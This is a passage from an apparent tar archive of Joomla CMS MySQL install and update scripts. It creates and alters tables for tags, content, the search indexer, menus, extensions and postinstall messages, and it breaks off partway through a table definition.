INSERT INTO `#__tags` (`id`, `parent_id`, `lft`, `rgt`, `level`, `path`, `title`, `alias`, `note`, `description`, `published`, `checked_out`, `checked_out_time`, `access`, `params`, `metadesc`, `metakey`, `metadata`, `created_user_id`, `created_time`,`created_by_alias`, `modified_user_id`, `modified_time`, `images`, `urls`, `hits`, `language`, `version`)
VALUES (1, 0, 0, 1, 0, '', 'ROOT', 'root', '', '', 1, 0, '0000-00-00 00:00:00', 1, '{}', '', '', '', '', '2011-01-01 00:00:01','', 0, '0000-00-00 00:00:00', '', '',  0, '*', 1);

--
-- Table structure for table `#__ucm_base`
--

CREATE TABLE IF NOT EXISTS `#__ucm_base` (
  `ucm_id` int unsigned NOT NULL,
  `ucm_item_id` int NOT NULL,
  `ucm_type_id` int NOT NULL,
  `ucm_language_id` int NOT NULL,
  PRIMARY KEY (`ucm_id`),
  KEY `idx_ucm_item_id` (`ucm_item_id`),
  KEY `idx_ucm_type_id` (`ucm_type_id`),
  KEY `idx_ucm_language_id` (`ucm_language_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;


CREATE TABLE IF NOT EXISTS `#__ucm_content` (
  `core_content_id` int unsigned NOT NULL AUTO_INCREMENT,
  `core_type_alias`  varchar(255) NOT NULL DEFAULT '' COMMENT 'FK to the content types table',
  `core_title` varchar(255) NOT NULL,
  `core_alias` varchar(255) CHARACTER SET utf8 COLLATE utf8_bin NOT NULL DEFAULT '',
  `core_body` mediumtext NOT NULL,
  `core_state` tinyint NOT NULL DEFAULT '0',
  `core_checked_out_time`  varchar(255) NOT NULL DEFAULT '',
  `core_checked_out_user_id` int unsigned NOT NULL DEFAULT '0',
  `core_access` int unsigned NOT NULL DEFAULT '0',
  `core_params` text NOT NULL,
  `core_featured` tinyint unsigned NOT NULL DEFAULT '0',
  `core_metadata` varchar(2048) NOT NULL COMMENT 'JSON encoded metadata properties.',
  `core_created_user_id` int unsigned  NOT NULL DEFAULT '0',
  `core_created_by_alias` varchar(255) NOT NULL DEFAULT '',
  `core_created_time` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `core_modified_user_id` int unsigned NOT NULL DEFAULT '0' COMMENT 'Most recent user that modified',
  `core_modified_time` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `core_language` char(7) NOT NULL,
  `core_publish_up` datetime NOT NULL,
  `core_publish_down` datetime NOT NULL,
  `core_content_item_id` int unsigned COMMENT 'ID from the individual type table',
  `asset_id` int unsigned COMMENT 'FK to the #__assets table.',
  `core_images` text NOT NULL,
  `core_urls` text NOT NULL,
  `core_hits` int unsigned NOT NULL DEFAULT '0',
  `core_version` int unsigned NOT NULL DEFAULT '1',
  `core_ordering` int NOT NULL DEFAULT '0',
  `core_metakey` text NOT NULL,
  `core_metadesc` text NOT NULL,
  `core_catid` int unsigned NOT NULL DEFAULT '0',
  `core_xreference` varchar(50) NOT NULL COMMENT 'A reference to enable linkages to external data sets.',
  `core_type_id` int unsigned,
  PRIMARY KEY (`core_content_id`),
  KEY `tag_idx` (`core_state`,`core_access`),
  KEY `idx_access` (`core_access`),
  KEY `idx_alias` (`core_alias`),
  KEY `idx_language` (`core_language`),
  KEY `idx_title` (`core_title`),
  KEY `idx_modified_time` (`core_modified_time`),
  KEY `idx_created_time` (`core_created_time`),
  KEY `idx_content_type` (`core_type_alias`),
  KEY `idx_core_modified_user_id` (`core_modified_user_id`),
  KEY `idx_core_checked_out_user_id` (`core_checked_out_user_id`),
  KEY `idx_core_created_user_id` (`core_created_user_id`),
  KEY `idx_core_type_id` (`core_type_id`)
 ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COMMENT='Contains core content data in name spaced fields';

INSERT INTO `#__extensions` (`extension_id`, `name`, `type`, `element`, `folder`, `client_id`, `enabled`, `access`, `protected`, `manifest_cache`, `params`, `custom_data`, `system_data`, `checked_out`, `checked_out_time`, `ordering`, `state`) VALUES
(29, 'com_tags', 'component', 'com_tags', '', 1, 1, 1, 1, '{"legacy":false,"name":"com_tags","type":"component","creationDate":"March 2013","author":"Joomla! Project","copyright":"(C) 2013 Open Source Matters, Inc.","authorEmail":"admin@joomla.org","authorUrl":"www.joomla.org","version":"3.0.0","description":"COM_TAGS_XML_DESCRIPTION","group":""}', '{}', '', '', 0, '0000-00-00 00:00:00', 0, 0),
(316, 'mod_tags_popular', 'module', 'mod_tags_popular', '', 0, 1, 1, 0, '{"name":"mod_tags_popular","type":"module","creationDate":"January 2013","author":"Joomla! Project","copyright":"(C) 2013 Open Source Matters, Inc.","authorEmail":"admin@joomla.org","authorUrl":"www.joomla.org","version":"3.1.0","description":"MOD_TAGS_POPULAR_XML_DESCRIPTION","group":""}', '{"maximum":"5","timeframe":"alltime","owncache":"1"}', '', '', 0, '0000-00-00 00:00:00', 0, 0),
(317, 'mod_tags_similar', 'module', 'mod_tags_similar', '', 0, 1, 1, 0, '{"name":"mod_tags_similar","type":"module","creationDate":"January 2013","author":"Joomla! Project","copyright":"(C) 2013 Open Source Matters, Inc.","authorEmail":"admin@joomla.org","authorUrl":"www.joomla.org","version":"3.1.0","description":"MOD_TAGS_SIMILAR_XML_DESCRIPTION","group":""}', '{"maximum":"5","matchtype":"any","owncache":"1"}', '', '', 0, '0000-00-00 00:00:00', 0, 0),
(447, 'plg_finder_tags', 'plugin', 'tags', 'finder', 0, 1, 1, 0, '{"name":"plg_finder_tags","type":"plugin","creationDate":"February 2013","author":"Joomla! Project","copyright":"(C) 2013 Open Source Matters, Inc.","authorEmail":"admin@joomla.org","authorUrl":"www.joomla.org","version":"3.0.0","description":"PLG_FINDER_TAGS_XML_DESCRIPTION","group":""}', '{}', '', '', 0, '0000-00-00 00:00:00', 0, 0);

INSERT INTO `#__menu` (`menutype`, `title`, `alias`, `note`, `path`, `link`, `type`, `published`, `parent_id`, `level`, `component_id`, `checked_out`, `checked_out_time`, `browserNav`, `access`, `img`, `template_style_id`, `params`, `lft`, `rgt`, `home`, `language`, `client_id`) VALUES
('main', 'com_tags', 'Tags', '', 'Tags', 'index.php?option=com_tags', 'component', 0, 1, 1, 29, 0, '0000-00-00 00:00:00', 0, 1, 'class:tags', 0, '', 45, 46, 0, '', 1);
com_admin/sql/updates/mysql/3.5.0-2016-03-01.sql000060400000001052152455305270014315 0ustar00ALTER TABLE `#__redirect_links` DROP INDEX `idx_link_old`;
ALTER TABLE `#__redirect_links` MODIFY `old_url` VARCHAR(2048) NOT NULL;

--
-- The following statement had to be modified for 3.6.0 by removing the
-- NOT NULL, which was wrong because not consistent with new install.
-- See also 3.6.0-2016-04-06.sql for updating 3.5.0 or 3.5.1
--
ALTER TABLE `#__redirect_links` MODIFY `new_url` VARCHAR(2048);

ALTER TABLE `#__redirect_links` MODIFY `referer` VARCHAR(2048) NOT NULL;
ALTER TABLE `#__redirect_links` ADD INDEX `idx_old_url` (`old_url`(100));
com_admin/sql/updates/mysql/3.2.2-2014-01-08.sql000060400000000563152455305270014325 0ustar00INSERT INTO `#__extensions` (`extension_id`, `name`, `type`, `element`, `folder`, `client_id`, `enabled`, `access`, `protected`, `manifest_cache`, `params`, `custom_data`, `system_data`, `checked_out`, `checked_out_time`, `ordering`, `state`) VALUES
(403, 'plg_content_contact', 'plugin', 'contact', 'content', 0, 1, 1, 0, '', '', '', '', 0, '0000-00-00 00:00:00', 1, 0);com_admin/sql/updates/mysql/3.7.0-2016-09-29.sql000060400000000777152455305270014354 0ustar00INSERT INTO `#__postinstall_messages` (`extension_id`, `title_key`, `description_key`, `action_key`, `language_extension`, `language_client_id`, `type`, `action_file`, `action`, `condition_file`, `condition_method`, `version_introduced`, `enabled`)
VALUES
(700, 'COM_CPANEL_MSG_JOOMLA40_PRE_CHECKS_TITLE', 'COM_CPANEL_MSG_JOOMLA40_PRE_CHECKS_BODY', '', 'com_cpanel', 1, 'message', '', '', 'admin://components/com_admin/postinstall/joomla40checks.php', 'admin_postinstall_joomla40checks_condition', '3.7.0', 1);
com_admin/sql/updates/mysql/3.4.0-2014-08-24.sql000060400000000735152455305270014333 0ustar00INSERT INTO `#__postinstall_messages` (`extension_id`, `title_key`, `description_key`, `action_key`, `language_extension`, `language_client_id`, `type`, `action_file`, `action`, `condition_file`, `condition_method`, `version_introduced`, `enabled`)
VALUES
(700, 'COM_CPANEL_MSG_HTACCESS_TITLE', 'COM_CPANEL_MSG_HTACCESS_BODY', '', 'com_cpanel', 1, 'message', '', '', 'admin://components/com_admin/postinstall/htaccess.php', 'admin_postinstall_htaccess_condition', '3.4.0', 1);
com_admin/sql/updates/mysql/3.7.0-2017-02-02.sql000060400000000572152455305270014326 0ustar00INSERT INTO `#__extensions` (`extension_id`, `name`, `type`, `element`, `folder`, `client_id`, `enabled`, `access`, `protected`, `manifest_cache`, `params`, `custom_data`, `system_data`, `checked_out`, `checked_out_time`, `ordering`, `state`) VALUES
(478, 'plg_editors-xtd_fields', 'plugin', 'fields', 'editors-xtd', 0, 1, 1, 0, '', '', '', '', 0, '0000-00-00 00:00:00', 0, 0);
com_admin/sql/updates/mysql/3.5.0-2016-02-26.sql000060400000001074152455305270014327 0ustar00--
-- Create a table for UTF-8 Multibyte (utf8mb4) conversion for MySQL in
-- order to check if the conversion has been performed and if not show a
-- message about database problem in the database schema view. 
--
-- The value of `converted` can be 0 (not converted yet after update),
-- 1 (converted to utf8), or 2 (converted to utf8mb4).
--

CREATE TABLE IF NOT EXISTS `#__utf8_conversion` (
  `converted` tinyint NOT NULL DEFAULT 0
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 DEFAULT COLLATE=utf8mb4_unicode_ci;

INSERT INTO `#__utf8_conversion` (`converted`) VALUES (0);
com_admin/sql/updates/mysql/3.9.21-2020-08-02.sql000060400000000752152455305270014413 0ustar00INSERT INTO `#__postinstall_messages` (`extension_id`, `title_key`, `description_key`, `action_key`, `language_extension`, `language_client_id`, `type`, `action_file`, `action`, `condition_file`, `condition_method`, `version_introduced`, `enabled`)
VALUES
(700, 'COM_CPANEL_MSG_HTACCESSSVG_TITLE', 'COM_CPANEL_MSG_HTACCESSSVG_BODY', '', 'com_cpanel', 1, 'message', '', '', 'admin://components/com_admin/postinstall/htaccesssvg.php', 'admin_postinstall_htaccesssvg_condition', '3.9.21', 1);
com_admin/sql/updates/mysql/2.5.0-2011-12-23.sql000060400000003760152455305270014323 0ustar00CREATE TABLE IF NOT EXISTS `#__finder_filters` (
  `filter_id` int unsigned NOT NULL auto_increment,
  `title` varchar(255) NOT NULL,
  `alias` varchar(255) NOT NULL,
  `state` tinyint NOT NULL default '1',
  `created` datetime NOT NULL default '0000-00-00 00:00:00',
  `created_by` int unsigned NOT NULL,
  `created_by_alias` varchar(255) NOT NULL,
  `modified` datetime NOT NULL default '0000-00-00 00:00:00',
  `modified_by` int unsigned NOT NULL default '0',
  `checked_out` int unsigned NOT NULL default '0',
  `checked_out_time` datetime NOT NULL default '0000-00-00 00:00:00',
  `map_count` int unsigned NOT NULL default '0',
  `data` text NOT NULL,
  `params` mediumtext,
  PRIMARY KEY  (`filter_id`)
) DEFAULT CHARSET=utf8;

CREATE TABLE IF NOT EXISTS `#__finder_links` (
  `link_id` int unsigned NOT NULL auto_increment,
  `url` varchar(255) NOT NULL,
  `route` varchar(255) NOT NULL,
  `title` varchar(255) default NULL,
  `description` varchar(255) default NULL,
  `indexdate` datetime NOT NULL default '0000-00-00 00:00:00',
  `md5sum` varchar(32) default NULL,
  `published` tinyint NOT NULL default '1',
  `state` int default '1',
  `access` int default '0',
  `language` varchar(8) NOT NULL,
  `publish_start_date` datetime NOT NULL default '0000-00-00 00:00:00',
  `publish_end_date` datetime NOT NULL default '0000-00-00 00:00:00',
  `start_date` datetime NOT NULL default '0000-00-00 00:00:00',
  `end_date` datetime NOT NULL default '0000-00-00 00:00:00',
  `list_price` double unsigned NOT NULL default '0',
  `sale_price` double unsigned NOT NULL default '0',
  `type_id` int NOT NULL,
  `object` mediumblob NOT NULL,
  PRIMARY KEY  (`link_id`),
  KEY `idx_type` (`type_id`),
  KEY `idx_title` (`title`),
  KEY `idx_md5` (`md5sum`),
  KEY `idx_url` (`url`(75)),
  KEY `idx_published_list` (`published`,`state`,`access`,`publish_start_date`,`publish_end_date`,`list_price`),
  KEY `idx_published_sale` (`published`,`state`,`access`,`publish_start_date`,`publish_end_date`,`sale_price`)
) DEFAULT CHARSET=utf8;

com_admin/sql/updates/mysql/3.3.4-2014-08-03.sql000060400000000125152455305270014324 0ustar00ALTER TABLE `#__user_profiles` CHANGE `profile_value` `profile_value` TEXT NOT NULL;
com_admin/sql/updates/mysql/3.4.0-2015-02-26.sql000060400000001001152455305270014313 0ustar00INSERT INTO `#__postinstall_messages` (`extension_id`, `title_key`, `description_key`, `action_key`, `language_extension`, `language_client_id`, `type`, `action_file`, `action`, `condition_file`, `condition_method`, `version_introduced`, `enabled`) VALUES
(700, 'COM_CPANEL_MSG_LANGUAGEACCESS340_TITLE', 'COM_CPANEL_MSG_LANGUAGEACCESS340_BODY', '', 'com_cpanel', 1, 'message', '', '', 'admin://components/com_admin/postinstall/languageaccess340.php', 'admin_postinstall_languageaccess340_condition', '3.4.1', 1);
com_admin/sql/updates/mysql/3.7.0-2016-11-24.sql000060400000000641152455305270014326 0ustar00ALTER TABLE `#__extensions` ADD COLUMN `package_id` int NOT NULL DEFAULT 0 COMMENT 'Parent package ID for extensions installed as a package.' AFTER `extension_id`;

UPDATE `#__extensions` AS `e1`
INNER JOIN (SELECT `extension_id` FROM `#__extensions` WHERE `type` = 'package' AND `element` = 'pkg_en-GB') AS `e2`
SET `e1`.`package_id` = `e2`.`extension_id`
WHERE `e1`.`type`= 'language' AND `e1`.`element` = 'en-GB';
com_admin/sql/updates/mysql/3.7.0-2017-03-19.sql000060400000000071152455305270014331 0ustar00ALTER TABLE `#__finder_links` MODIFY `description` text;
com_admin/sql/updates/mysql/2.5.0-2011-12-24.sql000060400000000475152455305270014324 0ustar00ALTER TABLE `#__menu` DROP INDEX `idx_client_id_parent_id_alias`;

--
-- The following statment had to be modified for utf8mb4 in Joomla! 3.5.1, changing
-- `alias` to `alias`(100)
--

ALTER TABLE `#__menu` ADD UNIQUE `idx_client_id_parent_id_alias_language` ( `client_id` , `parent_id` , `alias`(100) , `language` );com_admin/sql/updates/mysql/3.9.0-2018-08-28.sql000060400000000311152455305270014336 0ustar00ALTER TABLE `#__session` MODIFY `session_id` varbinary(192) NOT NULL;
ALTER TABLE `#__session` MODIFY `guest` tinyint unsigned DEFAULT 1;
ALTER TABLE `#__session` MODIFY `time` int NOT NULL DEFAULT 0;
com_admin/sql/updates/mysql/3.7.4-2017-07-05.sql000060400000000134152455305270014334 0ustar00DELETE FROM `#__postinstall_messages` WHERE `title_key` = 'COM_CPANEL_MSG_PHPVERSION_TITLE';com_admin/sql/updates/mysql/3.9.0-2018-06-17.sql000060400000000575152455305270014346 0ustar00INSERT INTO `#__extensions` (`extension_id`, `package_id`, `name`, `type`, `element`, `folder`, `client_id`, `enabled`, `access`, `protected`, `manifest_cache`, `params`, `custom_data`, `system_data`, `checked_out`, `checked_out_time`, `ordering`, `state`) VALUES
(489, 0, 'plg_user_terms', 'plugin', 'terms', 'user', 0, 0, 1, 0, '', '{}', '', '', 0, '0000-00-00 00:00:00', 0, 0);
com_admin/sql/updates/mysql/3.0.0.sql000060400000021220152455305270013263 0ustar00ALTER TABLE `#__users` DROP INDEX `usertype`;
ALTER TABLE `#__session` DROP INDEX `whosonline`;

DROP TABLE IF EXISTS `#__update_categories`;

ALTER TABLE `#__contact_details` DROP `imagepos`;
ALTER TABLE `#__content` DROP COLUMN `title_alias`;
ALTER TABLE `#__content` DROP COLUMN `sectionid`;
ALTER TABLE `#__content` DROP COLUMN `mask`;
ALTER TABLE `#__content` DROP COLUMN `parentid`;
ALTER TABLE `#__newsfeeds` DROP COLUMN `filename`;
ALTER TABLE `#__menu` DROP COLUMN `ordering`;
ALTER TABLE `#__session` DROP COLUMN `usertype`;
ALTER TABLE `#__users` DROP COLUMN `usertype`;
ALTER TABLE `#__updates` DROP COLUMN `categoryid`;

UPDATE `#__extensions` SET protected = 0 WHERE
`name` = 'com_search' OR
`name` = 'mod_articles_archive' OR
`name` = 'mod_articles_latest' OR
`name` = 'mod_banners' OR
`name` = 'mod_feed' OR
`name` = 'mod_footer' OR
`name` = 'mod_users_latest' OR
`name` = 'mod_articles_category' OR
`name` = 'mod_articles_categories' OR
`name` = 'plg_content_pagebreak' OR
`name` = 'plg_content_pagenavigation' OR
`name` = 'plg_content_vote' OR
`name` = 'plg_editors_tinymce' OR
`name` = 'plg_system_p3p' OR
`name` = 'plg_user_contactcreator' OR
`name` = 'plg_user_profile';

DELETE FROM `#__extensions` WHERE `extension_id` = 800;

ALTER TABLE `#__assets` ENGINE=InnoDB;
ALTER TABLE `#__associations` ENGINE=InnoDB;
ALTER TABLE `#__banners` ENGINE=InnoDB;
ALTER TABLE `#__banner_clients` ENGINE=InnoDB;
ALTER TABLE `#__banner_tracks` ENGINE=InnoDB;
ALTER TABLE `#__categories` ENGINE=InnoDB;
ALTER TABLE `#__contact_details` ENGINE=InnoDB;
ALTER TABLE `#__content` ENGINE=InnoDB;
ALTER TABLE `#__content_frontpage` ENGINE=InnoDB;
ALTER TABLE `#__content_rating` ENGINE=InnoDB;
ALTER TABLE `#__core_log_searches` ENGINE=InnoDB;
ALTER TABLE `#__extensions` ENGINE=InnoDB;
ALTER TABLE `#__finder_filters` ENGINE=InnoDB;
ALTER TABLE `#__finder_links` ENGINE=InnoDB;
ALTER TABLE `#__finder_links_terms0` ENGINE=InnoDB;
ALTER TABLE `#__finder_links_terms1` ENGINE=InnoDB;
ALTER TABLE `#__finder_links_terms2` ENGINE=InnoDB;
ALTER TABLE `#__finder_links_terms3` ENGINE=InnoDB;
ALTER TABLE `#__finder_links_terms4` ENGINE=InnoDB;
ALTER TABLE `#__finder_links_terms5` ENGINE=InnoDB;
ALTER TABLE `#__finder_links_terms6` ENGINE=InnoDB;
ALTER TABLE `#__finder_links_terms7` ENGINE=InnoDB;
ALTER TABLE `#__finder_links_terms8` ENGINE=InnoDB;
ALTER TABLE `#__finder_links_terms9` ENGINE=InnoDB;
ALTER TABLE `#__finder_links_termsa` ENGINE=InnoDB;
ALTER TABLE `#__finder_links_termsb` ENGINE=InnoDB;
ALTER TABLE `#__finder_links_termsc` ENGINE=InnoDB;
ALTER TABLE `#__finder_links_termsd` ENGINE=InnoDB;
ALTER TABLE `#__finder_links_termse` ENGINE=InnoDB;
ALTER TABLE `#__finder_links_termsf` ENGINE=InnoDB;
ALTER TABLE `#__finder_taxonomy` ENGINE=InnoDB;
ALTER TABLE `#__finder_taxonomy_map` ENGINE=InnoDB;
ALTER TABLE `#__finder_terms` ENGINE=InnoDB;
ALTER TABLE `#__finder_terms_common` ENGINE=InnoDB;
ALTER TABLE `#__finder_types` ENGINE=InnoDB;
ALTER TABLE `#__languages` ENGINE=InnoDB;
ALTER TABLE `#__menu` ENGINE=InnoDB;
ALTER TABLE `#__menu_types` ENGINE=InnoDB;
ALTER TABLE `#__messages` ENGINE=InnoDB;
ALTER TABLE `#__messages_cfg` ENGINE=InnoDB;
ALTER TABLE `#__modules` ENGINE=InnoDB;
ALTER TABLE `#__modules_menu` ENGINE=InnoDB;
ALTER TABLE `#__newsfeeds` ENGINE=InnoDB;
ALTER TABLE `#__overrider` ENGINE=InnoDB;
ALTER TABLE `#__redirect_links` ENGINE=InnoDB;
ALTER TABLE `#__schemas` ENGINE=InnoDB;
ALTER TABLE `#__session` ENGINE=InnoDB;
ALTER TABLE `#__template_styles` ENGINE=InnoDB;
ALTER TABLE `#__updates` ENGINE=InnoDB;
ALTER TABLE `#__update_sites` ENGINE=InnoDB;
ALTER TABLE `#__update_sites_extensions` ENGINE=InnoDB;
ALTER TABLE `#__users` ENGINE=InnoDB;
ALTER TABLE `#__usergroups` ENGINE=InnoDB;
ALTER TABLE `#__user_notes` ENGINE=InnoDB;
ALTER TABLE `#__user_profiles` ENGINE=InnoDB;
ALTER TABLE `#__user_usergroup_map` ENGINE=InnoDB;
ALTER TABLE `#__viewlevels` ENGINE=InnoDB;

ALTER TABLE `#__newsfeeds` ADD COLUMN `description` text NOT NULL;
ALTER TABLE `#__newsfeeds` ADD COLUMN `version` int unsigned NOT NULL DEFAULT '1';
ALTER TABLE `#__newsfeeds` ADD COLUMN `hits` int unsigned NOT NULL DEFAULT '0';
ALTER TABLE `#__newsfeeds` ADD COLUMN `images` text NOT NULL;
ALTER TABLE `#__contact_details` ADD COLUMN `version` int unsigned NOT NULL DEFAULT '1';
ALTER TABLE `#__contact_details` ADD COLUMN `hits` int unsigned NOT NULL DEFAULT '0';
ALTER TABLE `#__banners` ADD COLUMN `created_by` int unsigned NOT NULL DEFAULT '0';
ALTER TABLE `#__banners` ADD COLUMN `created_by_alias` varchar(255) NOT NULL DEFAULT '';
ALTER TABLE `#__banners` ADD COLUMN `modified` datetime NOT NULL DEFAULT '0000-00-00 00:00:00';
ALTER TABLE `#__banners` ADD COLUMN `modified_by` int unsigned NOT NULL DEFAULT '0';
ALTER TABLE `#__banners` ADD COLUMN `version` int unsigned NOT NULL DEFAULT '1';
ALTER TABLE `#__categories` ADD COLUMN `version` int unsigned NOT NULL DEFAULT '1';
UPDATE  `#__assets` SET name=REPLACE( name, 'com_user.notes.category','com_users.category'  );
UPDATE  `#__categories` SET extension=REPLACE( extension, 'com_user.notes.category','com_users.category'  );

ALTER TABLE `#__finder_terms` ADD COLUMN `language` char(3) NOT NULL DEFAULT '';
ALTER TABLE `#__finder_tokens` ADD COLUMN `language` char(3) NOT NULL DEFAULT '';
ALTER TABLE `#__finder_tokens_aggregate` ADD COLUMN `language` char(3) NOT NULL DEFAULT '';

INSERT INTO `#__extensions`
	(`name`, `type`, `element`, `folder`, `client_id`, `enabled`, `access`, `protected`, `manifest_cache`, `params`, `custom_data`, `system_data`, `checked_out`, `checked_out_time`, `ordering`, `state`)
	VALUES
	('isis', 'template', 'isis', '', 1, 1, 1, 0, '{"name":"isis","type":"template","creationDate":"3\\/30\\/2012","author":"Kyle Ledbetter","copyright":"(C) 2012 Open Source Matters, Inc.","authorEmail":"admin@joomla.org","authorUrl":"","version":"1.0","description":"TPL_ISIS_XML_DESCRIPTION","group":""}', '{"templateColor":"","logoFile":""}', '', '', 0, '0000-00-00 00:00:00', 0, 0),
	('protostar', 'template', 'protostar', '', 0, 1, 1, 0, '{"name":"protostar","type":"template","creationDate":"4\\/30\\/2012","author":"Kyle Ledbetter","copyright":"(C) 2012 Open Source Matters, Inc.","authorEmail":"admin@joomla.org","authorUrl":"","version":"1.0","description":"TPL_PROTOSTAR_XML_DESCRIPTION","group":""}', '{"templateColor":"","logoFile":"","googleFont":"0","googleFontName":"Open+Sans","fluidContainer":"0"}', '', '', 0, '0000-00-00 00:00:00', 0, 0),
	('beez3', 'template', 'beez3', '', 0, 1, 1, 0, '{"legacy":false,"name":"beez3","type":"template","creationDate":"25 November 2009","author":"Angie Radtke","copyright":"(C) 2009 Open Source Matters, Inc.","authorEmail":"a.radtke@derauftritt.de","authorUrl":"http:\\/\\/www.der-auftritt.de","version":"1.6.0","description":"TPL_BEEZ3_XML_DESCRIPTION","group":""}', '{"wrapperSmall":"53","wrapperLarge":"72","sitetitle":"","sitedescription":"","navposition":"center","templatecolor":"nature"}', '', '', 0, '0000-00-00 00:00:00', 0, 0);

INSERT INTO `#__template_styles` (`template`, `client_id`, `home`, `title`, `params`) VALUES
	('protostar', 0, '0', 'protostar - Default', '{"templateColor":"","logoFile":"","googleFont":"0","googleFontName":"Open+Sans","fluidContainer":"0"}'),
	('isis', 1, '1', 'isis - Default', '{"templateColor":"","logoFile":""}'),
	('beez3', 0, '0', 'beez3 - Default', '{"wrapperSmall":53,"wrapperLarge":72,"logo":"","sitetitle":"","sitedescription":"","navposition":"center","bootstrap":"","templatecolor":"nature","headerImage":"","backgroundcolor":"#eee"}');

UPDATE `#__template_styles`
SET home = (CASE WHEN (SELECT count FROM (SELECT count(`id`) AS count
			FROM `#__template_styles`
			WHERE home = '1'
			AND client_id = 1) as c) = 0
			THEN '1'
			ELSE '0'
			END)
WHERE template = 'isis'
AND home != '1';

UPDATE `#__template_styles`
SET home = 0
WHERE template = 'bluestork';

INSERT INTO `#__extensions` (`extension_id`, `name`, `type`, `element`, `folder`, `client_id`, `enabled`, `access`, `protected`, `manifest_cache`, `params`, `custom_data`, `system_data`, `checked_out`, `checked_out_time`, `ordering`, `state`) VALUES
(315, 'mod_stats_admin', 'module', 'mod_stats_admin', '', 1, 1, 1, 0, '{"name":"mod_stats_admin","type":"module","creationDate":"September 2012","author":"Joomla! Project","copyright":"(C) 2012 Open Source Matters, Inc.","authorEmail":"admin@joomla.org","authorUrl":"www.joomla.org","version":"3.0.0","description":"MOD_STATS_XML_DESCRIPTION","group":""}', '{"serverinfo":"0","siteinfo":"0","counter":"0","increase":"0","cache":"1","cache_time":"900","cachemode":"static"}', '', '', 0, '0000-00-00 00:00:00', 0, 0);

UPDATE `#__update_sites`
SET location = 'https://update.joomla.org/language/translationlist_3.xml'
WHERE location = 'https://update.joomla.org/language/translationlist.xml'
AND name = 'Accredited Joomla! Translations';
com_admin/sql/updates/mysql/3.3.0-2014-04-02.sql000060400000000632152455305270014316 0ustar00INSERT INTO `#__extensions` (`extension_id`, `name`, `type`, `element`, `folder`, `client_id`, `enabled`, `access`, `protected`, `manifest_cache`, `params`, `custom_data`, `system_data`, `checked_out`, `checked_out_time`, `ordering`, `state`) VALUES
(451, 'plg_search_tags', 'plugin', 'tags', 'search', 0, 0, 1, 0, '', '{"search_limit":"50","show_tagged_items":"1"}', '', '', 0, '0000-00-00 00:00:00', 0, 0);

com_admin/sql/updates/mysql/3.9.19-2020-05-16.sql000060400000000274152455305270014423 0ustar00-- Add back the default value which might have been lost with utf8mb4 conversion on certain CMS versions
ALTER TABLE `#__ucm_content` MODIFY `core_title` varchar(400) NOT NULL DEFAULT '';
com_admin/sql/updates/mysql/3.2.1.sql000060400000000150152455305270013265 0ustar00DELETE FROM `#__postinstall_messages` WHERE `title_key` = 'PLG_USER_JOOMLA_POSTINSTALL_STRONGPW_TITLE';
com_admin/sql/updates/mysql/3.7.0-2017-01-17.sql000060400000004707152455305270014337 0ustar00-- Sync menutype for admin menu and set client_id correct

-- Note: This file had to be modified with Joomla 3.7.3 because the
-- original version made site menus disappear if there were menu types
-- "main" or "menu" defined for the site.

-- Step 1: If there is any user-defined menu and menu type "main" for the site
-- (client_id = 0), then change the menu type for the menu, any module and the
-- menu type to something very likely not being used yet and just within the
-- max. length of 24 characters.
UPDATE `#__menu`
   SET `menutype` = 'main_is_reserved_133C585'
 WHERE `client_id` = 0
   AND `menutype` = 'main'
   AND (SELECT COUNT(`id`) FROM `#__menu_types` WHERE `client_id` = 0 AND `menutype` = 'main') > 0;

UPDATE `#__modules`
   SET `params` = REPLACE(`params`,'"menutype":"main"','"menutype":"main_is_reserved_133C585"')
 WHERE `client_id` = 0
   AND (SELECT COUNT(`id`) FROM `#__menu_types` WHERE `client_id` = 0 AND `menutype` = 'main') > 0;

UPDATE `#__menu_types`
   SET `menutype` = 'main_is_reserved_133C585'
 WHERE `client_id` = 0 
   AND `menutype` = 'main';

-- Step 2: What remains now are the main menu items, possibly with wrong
-- client_id if there was nothing hit by step 1 because there was no record in
-- the menu types table with client_id = 0.
UPDATE `#__menu`
   SET `client_id` = 1
 WHERE `menutype` = 'main';

-- Step 3: If we have menu items for the admin using menutype = "menu" and
-- having correct client_id = 1, we can be sure they belong to the admin menu
-- and so rename the menutype.
UPDATE `#__menu`
   SET `menutype` = 'main'
 WHERE `client_id` = 1 
   AND `menutype` = 'menu';

-- Step 4: If there is no user-defined menu type "menu" for the site, we can
-- assume that any menu items for that menu type belong to the admin.
-- Fix the client_id for those as it was done with the original version of this
-- schema update script here.
UPDATE `#__menu`
   SET `menutype` = 'main',
       `client_id` = 1
 WHERE `menutype` = 'menu'
   AND (SELECT COUNT(`id`) FROM `#__menu_types` WHERE `client_id` = 0 AND `menutype` = 'menu') = 0;

-- Step 5: For the standard admin menu items of menutype "main" there is no record
-- in the menutype table on a clean Joomla installation. If there is one, it is a
-- mistake and it should be deleted. This is also the case with menu type "menu"
-- for the admin, for which we changed the menutype of the menu items in step 3.
DELETE FROM `#__menu_types`
 WHERE `client_id` = 1
   AND `menutype` IN ('main', 'menu');
com_admin/sql/updates/mysql/2.5.0-2011-12-21-2.sql000060400000017666152455305270014472 0ustar00CREATE TABLE IF NOT EXISTS `#__finder_links_terms0` (
  `link_id` int unsigned NOT NULL,
  `term_id` int unsigned NOT NULL,
  `weight` float unsigned NOT NULL,
  PRIMARY KEY  (`link_id`,`term_id`),
  KEY `idx_term_weight` (`term_id`,`weight`),
  KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`)
) DEFAULT CHARSET=utf8;

CREATE TABLE IF NOT EXISTS `#__finder_links_terms1` (
  `link_id` int unsigned NOT NULL,
  `term_id` int unsigned NOT NULL,
  `weight` float unsigned NOT NULL,
  PRIMARY KEY  (`link_id`,`term_id`),
  KEY `idx_term_weight` (`term_id`,`weight`),
  KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`)
) DEFAULT CHARSET=utf8;

CREATE TABLE IF NOT EXISTS `#__finder_links_terms2` (
  `link_id` int unsigned NOT NULL,
  `term_id` int unsigned NOT NULL,
  `weight` float unsigned NOT NULL,
  PRIMARY KEY  (`link_id`,`term_id`),
  KEY `idx_term_weight` (`term_id`,`weight`),
  KEY `idx_link_term_weight` (`link_id`,`term_id`,`weight`)
) DEFAULT CHARSET=utf8;

CREATE TABLE IF NOT EXISTS `#__finder_links_terms3` (
